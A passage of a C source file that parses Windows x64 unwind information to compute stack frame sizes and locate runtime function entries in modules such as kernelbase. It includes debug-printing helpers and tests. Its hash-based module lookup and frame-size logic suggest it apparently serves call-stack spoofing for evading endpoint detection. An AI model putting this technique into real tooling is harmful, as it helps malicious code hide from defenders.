1548 | case UWOP_PUSH_NONVOL: // 0 1549 | 1550 | if (unwindCode->OpInfo == RSP && !UWOP_SET_FPREG_HIT) { 1551 | // We break here 1552 | return 0; 1553 | } 1554 | *targetStackOffset += 8; 1555 | break; 1556 | 1557 | case UWOP_ALLOC_LARGE: // 1 1558 | // If the operation info equals 0 -> allocation size / 8 in next slot 1559 | // If the operation info equals 1 -> unscaled allocation size in next 2 slots 1560 | // In any case, we need to advance 1 slot and record the size 1561 | 1562 | // Skip to next Unwind Code 1563 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1564 | DPRINTUNWINDCODE(unwindCode); 1565 | 1566 | // Keep track of current node 1567 | nodeIndex++; 1568 | // Register size in next slot 1569 | frameSize = unwindCode->FrameOffset; 1570 | 1571 | if (unwindCode->OpInfo == 0) { 1572 | // If the operation info equals 0, then the size of the allocation divided by 8 1573 | // is recorded in the next slot, allowing an allocation up to 512K - 8. 1574 | // We already advanced of 1 slot, and recorded the allocation size 1575 | // We just need to multiply it for 8 to get the unscaled allocation size 1576 | frameSize *= 8; 1577 | } 1578 | else 1579 | { 1580 | // If the operation info equals 1, then the unscaled size of the allocation is 1581 | // recorded in the next two slots in little-endian format, allowing allocations 1582 | // up to 4GB - 8. 1583 | // Skip to next Unwind Code 1584 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1585 | // Keep track of current node 1586 | nodeIndex++; 1587 | // Unmask the rest of the allocation size 1588 | frameSize += unwindCode->FrameOffset << 16; 1589 | 1590 | } 1591 | DPRINT("Final Frame Size: 0x%x\n", frameSize); 1592 | *targetStackOffset += frameSize; 1593 | break; 1594 | 1595 | case UWOP_ALLOC_SMALL: // 2 1596 | 1597 | // Allocate a small-sized area on the stack. The size of the allocation is the operation 1598 | // info field * 8 + 8, allowing allocations from 8 to 128 bytes. 1599 | *targetStackOffset += 8 * (unwindCode->OpInfo + 1); 1600 | break; 1601 | 1602 | 1603 | case UWOP_SET_FPREG: // 3 1604 | // Establish the frame pointer register by setting the register to some offset of the current RSP. 1605 | // The offset is equal to the Frame Register offset (scaled) field in the UNWIND_INFO * 16, allowing 1606 | // offsets from 0 to 240. The use of an offset permits establishing a frame pointer that points to the 1607 | // middle of the fixed stack allocation, helping code density by allowing more accesses to use short 1608 | // instruction forms. The operation info field is reserved and shouldn't be used. 1609 | 1610 | if (BitEHandler(unwindInfo->Flags) && BitChainInfo(unwindInfo->Flags)) { 1611 | return 0; 1612 | } 1613 | 1614 | UWOP_SET_FPREG_HIT = TRUE; 1615 | 1616 | frameSize = -0x10 * (unwindInfo->FrameOffset); 1617 | *targetStackOffset += frameSize; 1618 | break; 1619 | 1620 | 1621 | case UWOP_SAVE_NONVOL: // 4 1622 | // Save a nonvolatile integer register on the stack using a MOV instead of a PUSH. This code is 1623 | // primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack in a position 1624 | // that was previously allocated. The operation info is the number of the register. The scaled-by-8 1625 | // stack offset is recorded in the next unwind operation code slot, as described in the note above. 1626 | if (unwindCode->OpInfo == RBP || unwindCode->OpInfo == RSP) { 1627 | return 0; 1628 | } 1629 | // Skip to next Unwind Code 1630 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1631 | nodeIndex++; 1632 | 1633 | // For future use 1634 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset * 8; 1635 | DPRINTCTX(ctx); 1636 | 1637 | break; 1638 | case UWOP_SAVE_NONVOL_BIG: // 5 1639 | // Save a nonvolatile integer register on the stack with a long offset, using a MOV instead of a PUSH. 1640 | // This code is primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack 1641 | // in a position that was previously allocated. The operation info is the number of the register. 1642 | // The unscaled stack offset is recorded in the next two unwind operation code slots, as described 1643 | // in the note above. 1644 | if (unwindCode->OpInfo == RBP || unwindCode->OpInfo == RSP) { 1645 | return 0; 1646 | } 1647 | 1648 | // For future use 1649 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset; 1650 | *((ULONG*)&ctx + unwindCode->OpInfo) += (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 2))->FrameOffset << 16; 1651 | 1652 | // Skip the other two nodes used for this unwind operation 1653 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2); 1654 | nodeIndex += 2; 1655 | 1656 | DPRINTCTX(ctx); 1657 | break; 1658 | 1659 | case UWOP_EPILOG: // 6 1660 | case UWOP_SAVE_XMM128: // 8 1661 | // Save all 128 bits of a nonvolatile XMM register on the stack. The operation info is the number of 1662 | // the register. The scaled-by-16 stack offset is recorded in the next slot. 1663 | 1664 | // TODO: Handle this 1665 | 1666 | // Skip to next Unwind Code 1667 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1668 | nodeIndex++; 1669 | break; 1670 | case UWOP_SPARE_CODE: // 7 1671 | case UWOP_SAVE_XMM128BIG: // 9 1672 | // Save all 128 bits of a nonvolatile XMM register on the stack with a long offset. The operation info 1673 | // is the number of the register. The unscaled stack offset is recorded in the next two slots. 1674 | 1675 | // TODO: Handle this 1676 | 1677 | // Advancing next 2 nodes 1678 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2); 1679 | nodeIndex += 2; 1680 | break; 1681 | case UWOP_PUSH_MACH_FRAME: // 10 1682 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception. 1683 | // There are two forms. 1684 | 1685 | // NOTE: UNTESTED 1686 | // TODO: Test this 1687 | if (unwindCode->OpInfo == 0) { 1688 | *targetStackOffset += 0x40; 1689 | } 1690 | else { 1691 | *targetStackOffset += 0x48; 1692 | } 1693 | break; 1694 | } 1695 | 1696 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1697 | nodeIndex++; 1698 | } 1699 | 1700 | // If chained unwind information is present then we need to 1701 | // also recursively parse this and add to total stack size. 1702 | if (BitChainInfo(unwindInfo->Flags)) 1703 | { 1704 | nodeIndex = unwindInfo->CountOfCodes; 1705 | if (0 != (nodeIndex & 1)) 1706 | { 1707 | nodeIndex += 1; 1708 | } 1709 | pChainedFunction = (PRUNTIME_FUNCTION)(&unwindInfo->UnwindCode[nodeIndex]); 1710 | return GetStackFrameSize(hModule, (PUNWIND_INFO)((UINT64)hModule + (DWORD)pChainedFunction->UnwindData), targetStackOffset); 1711 | } 1712 | 1713 | return UWOP_SET_FPREG_HIT; 1714 | 1715 | 1716 | } 1717 | 1718 | 1719 | /********************************************************************************* 1720 | 1721 | HELPER FUNCTIONS 1722 | 1723 | *********************************************************************************/ 1724 | 1725 | 1726 | void LookupSymbolFromRTIndex(HMODULE dllBase, int rtFuntionIndex, bool verbose) { 1727 | 1728 | 1729 | PIMAGE_RUNTIME_FUNCTION_ENTRY rtFunction = RTFindFunctionByIndex((UINT64)dllBase, rtFuntionIndex); 1730 | 1731 | if (rtFunction == NULL) { 1732 | printf("Function not found\n"); 1733 | return; 1734 | } 1735 | 1736 | if (verbose) { 1737 | printf("Function found: \n"); 1738 | printf(" Begin Address 0x%x \n", rtFunction->BeginAddress); 1739 | printf(" End Address 0x%x \n", rtFunction->EndAddress); 1740 | printf(" Unwind Info Address 0x%x \n", rtFunction->UnwindInfoAddress); 1741 | printf("Looking up in exports... \n"); 1742 | } 1743 | char* procName = GetSymbolNameByOffset(dllBase, rtFunction->BeginAddress); 1744 | 1745 | if (procName == NULL) { 1746 | if (verbose) { 1747 | printf("Function not found\n"); 1748 | } 1749 | return; 1750 | } 1751 | 1752 | printf("Function %u found: %s\n", rtFuntionIndex, procName); 1753 | 1754 | if (verbose) { 1755 | PrintUnwindInfo(dllBase, (PVOID)((UINT64)rtFunction->UnwindData)); 1756 | } 1757 | 1758 | return; 1759 | } 1760 | 1761 | void PrintUnwindInfo(HMODULE dllBase, PVOID unwindDataAddress) { 1762 | 1763 | PUNWIND_INFO tInfo = (PUNWIND_INFO)((UINT64)dllBase + (DWORD)((UINT64)unwindDataAddress)); 1764 | 1765 | printf(" Version: %d \n", Version(tInfo->Flags)); 1766 | printf(" Ver + Flags: " B2BP " \n", BYTE_TO_BINARY(tInfo->Flags)); 1767 | printf(" SizeOfProlog: 0x%x \n", tInfo->SizeOfProlog); 1768 | printf(" CountOfCodes: 0x%x \n", tInfo->CountOfCodes); 1769 | printf(" FrameRegister: 0x%x \n", tInfo->FrameRegister); 1770 | printf(" FrameOffset: 0x%x \n", tInfo->FrameOffset); 1771 | 1772 | for (int j = 0; j < tInfo->CountOfCodes; j++) { 1773 | printf(" UnwindCode [%d] \n", j); 1774 | printf(" Frame Offset: 0x%x\n", tInfo->UnwindCode[j].FrameOffset); 1775 | printf(" Code Offset: 0x%x \n", tInfo->UnwindCode[j].CodeOffset); 1776 | printf(" UnwindOp: 0x%x \n", tInfo->UnwindCode[j].UnwindOp); 1777 | printf(" UnwindOpInfo: 0x%x\n", tInfo->UnwindCode[j].OpInfo); 1778 | } 1779 | 1780 | if (BitChainInfo(tInfo->Flags)) { 1781 | printf(" Function Entry Offset: 0x%p\n", GetChainedFunctionEntry(dllBase, tInfo)); 1782 | } 1783 | if (BitUHandler(tInfo->Flags)) { 1784 | 1785 | } 1786 | if (BitEHandler(tInfo->Flags)) { 1787 | PVOID dataPtr = GetExceptionDataPtr(tInfo); 1788 | PVOID handlerPtr = GetExceptionHandler(dllBase, tInfo); 1789 | ULONG data = *((PULONG)dataPtr); 1790 | INT32 handler = *((PDWORD)handlerPtr); 1791 | 1792 | printf(" Exception Handler Offset: 0x%p\n", GetExceptionHandler(dllBase, tInfo)); 1793 | printf(" Exception Data Offset: 0x%x\n", data); 1794 | } 1795 | 1796 | return; 1797 | } 1798 | 1799 | void EnumAllRTFunctions(HMODULE moduleBase) 1800 | { 1801 | DWORD tSize; 1802 | PRUNTIME_FUNCTION pRuntimeFunctionTable; 1803 | 1804 | pRuntimeFunctionTable = (PRUNTIME_FUNCTION)(GetExceptionDirectoryAddress(moduleBase, &tSize)); 1805 | 1806 | for (DWORD i = 0; i <= 5038; i++) 1807 | { 1808 | /* 1809 | PRUNTIME_FUNCTION rtft = (PRUNTIME_FUNCTION)(imageExportDirectory + 0xc*i); 1810 | 1811 | */ 1812 | 1813 | printf("Runtime Function %u \n", i); 1814 | printf(" Begin Address 0x%x\n End Address 0x%x\n Unwind Info Address 0x%x\n", 1815 | pRuntimeFunctionTable[i].BeginAddress, 1816 | pRuntimeFunctionTable[i].EndAddress, 1817 | pRuntimeFunctionTable[i].UnwindInfoAddress); 1818 | 1819 | PrintUnwindInfo(moduleBase, (PVOID)((UINT64)pRuntimeFunctionTable[i].UnwindData)); 1820 | 1821 | } 1822 | // printf(BYTE_TO_BINARY_PATTERN"\n", BYTE_TO_BINARY(UBYTE(UNW_FLAG_CHAININFO | UNW_FLAG_UHANDLER| UNW_FLAG_EHANDLER ))); 1823 | 1824 | } 1825 | 1826 | 1827 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddressInTable(PRUNTIME_FUNCTION pRuntimeFunctionTable, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD64 functionOffset) { 1828 | 1829 | for (DWORD i = 0; i < pImageExportDirectory->NumberOfFunctions; i++) 1830 | { 1831 | if (pRuntimeFunctionTable[i].BeginAddress == functionOffset) { 1832 | 1833 | return pRuntimeFunctionTable + i; 1834 | } 1835 | } 1836 | return NULL; 1837 | } 1838 | 1839 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddressInRFTable(PRUNTIME_FUNCTION pRuntimeFunctionTable, DWORD rtLastIndex, DWORD64 functionOffset) { 1840 | 1841 | for (DWORD i = 0; i < rtLastIndex; i++) 1842 | { 1843 | if (pRuntimeFunctionTable[i].BeginAddress == functionOffset) { 1844 | 1845 | return pRuntimeFunctionTable + i; 1846 | } 1847 | } 1848 | return NULL; 1849 | } 1850 | 1851 | 1852 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddress(UINT64 modulelBase, DWORD64 functionOffset) { 1853 | 1854 | DWORD tSize; 1855 | PRUNTIME_FUNCTION pRuntimeFunctionTable; 1856 | PIMAGE_EXPORT_DIRECTORY pImageExportDirectory; 1857 | 1858 | pRuntimeFunctionTable = (PRUNTIME_FUNCTION)(GetExceptionDirectoryAddress((HMODULE)modulelBase, &tSize)); 1859 | pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress((HMODULE)modulelBase)); 1860 | 1861 | for (DWORD i = 0; i < pImageExportDirectory->NumberOfFunctions; i++) 1862 | { 1863 | if (pRuntimeFunctionTable[i].BeginAddress == functionOffset) { 1864 | 1865 | return pRuntimeFunctionTable + i; 1866 | } 1867 | } 1868 | return NULL; 1869 | } 1870 | 1871 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByIndex(UINT64 kernelBase, DWORD index) { 1872 | 1873 | DWORD tSize; 1874 | PRUNTIME_FUNCTION pRuntimeFunctionTable; 1875 | PIMAGE_EXPORT_DIRECTORY pImageExportDirectory; 1876 | 1877 | pRuntimeFunctionTable = (PRUNTIME_FUNCTION)(GetExceptionDirectoryAddress((HMODULE)kernelBase, &tSize)); 1878 | pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress((HMODULE)kernelBase)); 1879 | 1880 | return pRuntimeFunctionTable + index; 1881 | } 1882 | 1883 | DWORD FindRTFunctionsUnwind(HMODULE moduleBase, PVOID tUnwindCodeAddress) { 1884 | 1885 | DWORD tSize; 1886 | PUNWIND_CODE tUnwindCode; 1887 | PUNWIND_INFO unwindInfo; 1888 | PRUNTIME_FUNCTION pRuntimeFunctionTable; 1889 | 1890 | tUnwindCode = (PUNWIND_CODE)tUnwindCodeAddress; 1891 | pRuntimeFunctionTable = (PRUNTIME_FUNCTION)(GetExceptionDirectoryAddress(moduleBase, &tSize)); 1892 | 1893 | for (DWORD i = 0; i <= 5038; i++) 1894 | { 1895 | 1896 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].UnwindData); 1897 | for (int j = 0; j < unwindInfo->CountOfCodes; j++) { 1898 | 1899 | if (unwindInfo->UnwindCode[j].FrameOffset == tUnwindCode->FrameOffset) { 1900 | 1901 | printf("Found frame offset with Runtime Function: %u, unwindCode: %u \n", i + 1, j); 1902 | printf("Found: 0x%x - Expected: 0x%x \n", unwindInfo->UnwindCode[j].FrameOffset, tUnwindCode->FrameOffset); 1903 | printf("Address in module: 0x%p \n", (PVOID)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].BeginAddress)); 1904 | 1905 | return i; 1906 | 1907 | } 1908 | 1909 | // TODO: Implement the rest after 1910 | 1911 | } 1912 | 1913 | } 1914 | printf("Function not found\n"); 1915 | 1916 | return 0; 1917 | 1918 | } 1919 | 1920 | /********************************************************************************* 1921 | 1922 | TESTING FUNCTIONS 1923 | 1924 | *********************************************************************************/ 1925 | 1926 | 1927 | void TestLookupByFrameOffset() { 1928 | UNWIND_CODE tUnwindCode; 1929 | HMODULE kernelBase; 1930 | DWORD offset; 1931 | 1932 | tUnwindCode.FrameOffset = 0x2313; 1933 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH); 1934 | offset = FindRTFunctionsUnwind(kernelBase, &tUnwindCode); 1935 | 1936 | LookupSymbolFromRTIndex(kernelBase, offset, TRUE); 1937 | } 1938 | 1939 | void TestLocateFunctionByAddress() { 1940 | PERF rtFunction; 1941 | HMODULE kernelBase; 1942 | UINT64 procOffset; 1943 | PUNWIND_INFO tInfo; 1944 | 1945 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH); 1946 | procOffset = GetSymbolOffset(kernelBase, "Internal_EnumSystemLocales"); 1947 | rtFunction = RTFindFunctionByAddress((UINT64)kernelBase, procOffset); 1948 | 1949 | printf("Function Offset: 0x%I64X\n", (ULONGLONG)procOffset); 1950 | 1951 | if (rtFunction == NULL) { 1952 | printf("Function not found\n"); 1953 | return; 1954 | } 1955 | printf("Function found: \n"); 1956 | printf(" Begin Address 0x%08x\n End Address 0x%08x\n Unwind Info Address 0x%08x\n", rtFunction->BeginAddress, rtFunction->EndAddress, rtFunction->UnwindInfoAddress); 1957 | 1958 | tInfo = (PUNWIND_INFO)((UINT64)kernelBase + (DWORD)rtFunction->UnwindData); 1959 | 1960 | PrintUnwindInfo(kernelBase, (PVOID)((UINT64)rtFunction->UnwindData)); 1961 | } 1962 | 1963 | void TestEnumAllRT(DWORD moduleHash) { 1964 | EnumAllRTFunctions((HMODULE)GetModule(moduleHash)); 1965 | } 1966 | 1967 | void Test() 1968 | { 1969 | PERF rtFunction; 1970 | HMODULE kernelBase; 1971 | HMODULE ntdllBase; 1972 | HMODULE mainModule; 1973 | UINT64 procOffset; 1974 | PUNWIND_INFO tInfo; 1975 | UINT errc; 1976 | LPCSTR tFunction; 1977 | 1978 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH); 1979 | ntdllBase = (HMODULE)GetModule(NTDLL_HASH); 1980 | mainModule = GetModuleHandle(NULL); 1981 | errc = 0; 1982 | tFunction = "UrlHashW"; 1983 | /* 1984 | tFunction = "SystemTimeToTzSpecificLocalTimeEx"; 1985 | tFunction = "NtWriteVirtualMemory"; 1986 | tFunction = "CreatePrivateObjectSecurity"; 1987 | */ 1988 | 1989 | procOffset = GetSymbolOffset(kernelBase, tFunction); 1990 | rtFunction = RTFindFunctionByAddress((UINT64)kernelBase, procOffset); 1991 | if (rtFunction == NULL) { 1992 | printf("Function not found\n"); 1993 | return; 1994 | } 1995 | 1996 | printf("Function Offset: 0x%I64X\n", procOffset); 1997 | printf("Function %s found: \n", tFunction); 1998 | printf(" Begin Address 0x%08x\n End Address 0x%08x\n Unwind Info Address 0x%08x\n", rtFunction->BeginAddress, rtFunction->EndAddress, rtFunction->UnwindInfoAddress); 1999 | 2000 | tInfo = (PUNWIND_INFO)((UINT64)kernelBase + (DWORD)rtFunction->UnwindData); 2001 | PrintUnwindInfo(kernelBase, (PVOID)((UINT64)rtFunction->UnwindData)); 2002 | GetStackFrameSize(kernelBase, tInfo, NULL); 2003 | return; 2004 | } --------------------------------------------------------------------------------